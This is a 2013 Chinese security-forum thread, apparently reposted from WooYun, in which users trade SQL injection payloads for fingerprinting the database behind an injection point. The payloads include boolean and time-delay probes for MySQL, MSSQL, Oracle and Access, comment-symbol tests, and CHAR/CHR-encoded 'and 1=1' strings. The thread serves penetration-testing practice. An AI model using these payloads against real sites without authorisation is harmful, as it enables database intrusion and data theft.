中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
# \. F0 x8 i( o" f
xsser (十根阳具有长短!!) | 2013-02-05 12:36
& |% _; ~% W9 E$ z
假设这么一个注射点:
( @" v$ d- G4 i# {
show.html?id=2
9 w% Q4 N$ T$ X a0 l
mysql:id=2 and version()>0
6 z- i } a% P# U* o7 Q
oracle:id=2 and '1'||'1'='11
8 Z" E* k9 ]# g ^! B- h& g" {3 _
其他的欢迎补充
) F+ C! F; Z3 f5 {9 J' {5 X
1#
9 W# P0 z. I7 Y& d V& M8 o) S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
3 V, @ T G* X0 O4 ^- G
Access:
" m l( g) I' R
aNd aSc(cHr(97))=97
- e" g1 O c" {! ~# Z7 @/ o
and exists(select id from MSysAccessObjects)
+ c2 i7 W( T1 o! I" ]
SQL Server:
. G; E7 f' r" Q: A9 A) A
and exists(select id from sysobjects)
3 X/ B* \9 }+ a# m: f
and length(user)>0
( N: R+ A! D7 i0 S" y! c% u% Y
MySQL:
5 i$ \" }4 E& c p/ s& f7 R
and length(user())>0
; [" D" z& N f. Q) I
2#
; t0 e" k1 x8 y: ~
xsser (十根阳具有长短!!) | 2013-02-05 12:48
* g- H! }2 g }, S% @6 \: m* L9 l+ Z
@upload 如果这些都不是呢…
' t- [6 W/ k z
3#
/ u$ S y# V# Q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
. C1 L8 S+ f0 Z
@xsser 不快速的,延时注入
6 ?6 N) p! H0 G6 ~
不知道这样写对不对
8 n! s6 \& g5 H/ v5 ~7 w/ r
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
0 _* H8 T3 Q: x" R1 ~$ e# N- U
mysql:id=2 and select benchmark(1e8,current_date());
/ g+ D: N, q/ s* r
4#
, i# c2 \6 ?& e+ A3 e7 @; T) `5 {
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
/ c" j( [7 p8 b, Y* N; r
最快的貌似是看报错信息
! q* \* w+ z! V
oracle error
3 w/ h+ {/ A5 x4 |( d. ]0 J0 q! b, ~
mssql error
+ E: } ~3 ?+ G } p
mysql error
5 a- U# L0 o0 m5 a
5#
. I4 U0 ?7 {, N0 \6 {
Nimda (你们都是坏银~) | 2013-02-05 13:14
& o. q" L& v |% A; e9 w
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
% c; ]1 a& A+ U
6#
2 k, t2 J' t0 ~' i7 ?9 Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
' d3 W. O( q4 P. S
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
% C K3 N+ c% Y1 f h5 r
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
# K3 }3 m; R! U; K7 T- i/ N) T p* [
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
! ?, f. L- w* I2 B, K' m; u
7#
; g: S7 u% F) O1 h
_Evil (HackEnd) | 2013-02-05 13:33
7 u/ A1 O$ h2 R8 V: {
PostgreSQL
9 A1 v8 c2 N" e& O
8#
2 W: L$ c* m B9 _) q1 T$ Z/ k
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
6 ?0 u% c$ v* G7 ?0 D/ j
切换编码 and 1=1
1 N6 n* z1 ^7 y: F; P
oracle:
7 D$ X5 I6 c3 J* C4 |
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
+ H* w0 d S% F
mssql:
, s" H6 a @9 q0 w5 V
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
% n4 n, J, N, ]4 u& s* U/ v2 e( Y
mysql:
/ v+ u' H2 ^7 V3 @+ _
CHAR(97, 110, 100, 32, 49, 61, 49)
* |# T. Q& `$ b2 ~
9#
5 `1 Y* H. w1 p, F2 u6 ~
xsser (十根阳具有长短!!) | 2013-02-05 14:31
9 N8 {7 ?9 Y. S. P
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
! b1 h; W$ O% U9 Z
10#
$ c1 h b* _7 P) `( K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
& v g, ~8 {* s" j; K' T( F
@xsser 是奇葩数据库类型的么?
+ a" J5 T- P( Q9 L: ]1 P
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
% m( H/ n6 B' B* u6 ?3 S' b$ I4 @
1.是否可以使用特定的函数来判断,该数据库特有的
S7 z; x, P, i
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
" X. A E) m! M! `0 g. V9 \% E
3.是否可以编码查询
/ y6 p ^7 r& j( p X# T1 `
4.是否显可以利用错信息
, D3 j( [ e: _% R! [3 h
5.是否存在数据库某些特性辅助判断
4 ^, I a' a. ^5 x
个人见解
. r- O) C/ L# @% c3 }
11#
9 O1 G1 u( D9 y3 l
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
) ^: x( y( a; g* k" n2 t; n
已收藏,mssql可以直接看到错误提示的吧~
3 y! x# u3 b* d& C/ w: v v
12#
3 }8 N; ~& V" _& q
Passer_by | 2013-02-05 15:09
# V! f+ M1 L$ F
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
. {" T% k( P6 }! r+ ?' Y
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2